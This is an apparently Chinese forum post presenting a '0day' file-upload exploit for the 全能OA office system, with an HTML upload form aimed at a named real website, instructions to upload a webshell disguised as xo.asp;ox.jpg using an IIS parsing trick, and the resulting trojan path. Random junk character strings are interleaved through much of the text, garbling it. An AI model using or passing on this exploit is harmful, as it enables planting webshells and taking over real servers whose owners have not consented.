全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
6 e  @8 H0 H4 _​
系统介绍：

; d& [$ ~% p, {0 N) P7 c全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
5 `6 ^& Z5 f* s) x) J
" q  L8 E  L, s主要功能：
& C" B3 A  ^9 E3 e' c5 K公司通告
' T9 E& \5 S1 S" d- l& @6 L3 m工作计划
+ W+ Z  z4 {* V( q, \通讯助理
客户资源
我的公文
公文传阅
- ~) b2 q7 f" w7 b* ]公共资源
4 T5 K) |, ^- t' j资源预约
今日考勤
3 E) \, j/ i0 L9 V1 ^, [  D! r. z个人计划
个人通讯录
4 p+ ~* B: e  i0 g3 `4 [# U  u个人基本档案
未读邮件
+ a* U1 g/ I& {6 s2 z发邮件
0 q* z' r4 b3 }% X: A收件夹
寄件夹
网络硬盘
  J; j$ ^9 p0 o6 R1 @7 J网络会议
网络调查
交流论坛
9 {, w9 _4 z; O# _) V
有兴趣测试的朋友可以下源码看看
' F7 P6 y3 Z6 W# {  K
源码下载：
# m( x8 H1 ~& p/ l9 o- P5 Q
http://www.mycodes.net/30/4750.htm
5 W% n( @) U( X/ M: U
; `6 h+ E4 g1 X, p! M8 t7 _7 |漏洞介绍：

由upfile.asp上传文件漏洞引起

测试方法：
/ X9 B$ K$ \. f! S( O, Z
2 `: T) x' a* E1 V6 }7 V2 `使用名小子上传http://www.itlynn.com/upfile.asp即可

如果upfile.asp文件被删除不存在。

4 g+ P' O7 @' N  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
! T5 T9 X" @! x; K
如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
- Q. J+ u8 m/ [6 D: a1 D
' o9 z  W  b0 {8 w0 g
+ G+ J& v2 S3 a. L3 r
( Q  Y: ?# P. @! u+ o2 S01 <table border='0' align="center" cellpadding="5">
6 t+ r4 @' C- a! d  n: m, V
, W; H9 X. a" S7 z02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>
# p% @' j& G, F: B1 C! ^4 z
2 L( I, ^5 c  }4 a04             <td>报错：</td>
9 ]7 H5 h9 d% \% V
4 y( r% u) `# {: c  w: J1 N. \05             <td><input type='radio' name='errnumber' value='0'>

" `- s3 @; ^/ `+ O3 H: Z3 P" _/ I06               自动更名

) K' g1 x" b9 n07               <input type='radio' name='errnumber' value='1' checked>
! w+ l7 x8 p- B
08               报错方式

09               <input type='radio' name='errnumber' value='2'>
' o- i. ~/ K$ E
10               直接覆盖</td>
/ e: [, [9 J' y7 X9 p
+ C+ O: ?. ?& o0 L5 M) L11           </tr>

12           <tr>
) I* h( k2 L, {  q
: T9 x/ Y. }3 Y' E7 o; i7 s13             <td>主题：</td>

14             <td><input type='text' name='filename' size='30'></td>
. ]1 I5 ]% _7 Y
15           </tr>

8 K; I$ k; e& K: M2 I16           <tr>
2 C9 i. @, i' t
17             <td>文件：</td>

18             <td><input type="file"name="fruit"size="30"></td>
" a/ ~" _9 x, w4 c5 c1 t( L
9 c( R9 H; G( c0 |9 t4 ^" X19           </tr>
7 A5 n/ r! A" T6 q& L
  |% m3 [/ g- [$ f+ c20           <tr>
- F4 u1 F& V) {5 A7 H
$ a' P8 _8 B- C' U. J21             <td valign='top'>简介：</td>
1 F% A* @9 P+ q- t4 C
- b5 _1 f/ f0 v4 K6 S' }22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
2 P: m6 j* c1 o4 t! k0 T- _
23           </tr>
1 S6 X1 Z7 @) F2 [7 ]) }
* x* G$ k3 R. W& _0 A6 A0 f24   
: {! i5 Q* ^* m6 g4 p( }+ U- p
4 S5 |, w/ q% K( }9 F' r: j& K25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
( G! a. T1 O% R7 N  W" ^0 p
- V6 w. ^% n9 h1 z+ |! i) @  [. Q3 H) @26           </tr>

27         </form>

; A! U& R) O4 q6 g然后打开上传一个文件名为xo.asp;ox.jpg的文件。
) ?5 F' B0 s1 c/ d
- r& d  c$ q% O0 M* @# b4 k
$ F: n( }$ a( \4 e  u
; Y& Z9 T: i$ i* y上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

. U, V* w) L& Q( j4 W: b# r- Y此漏洞需要配合解析漏洞利用。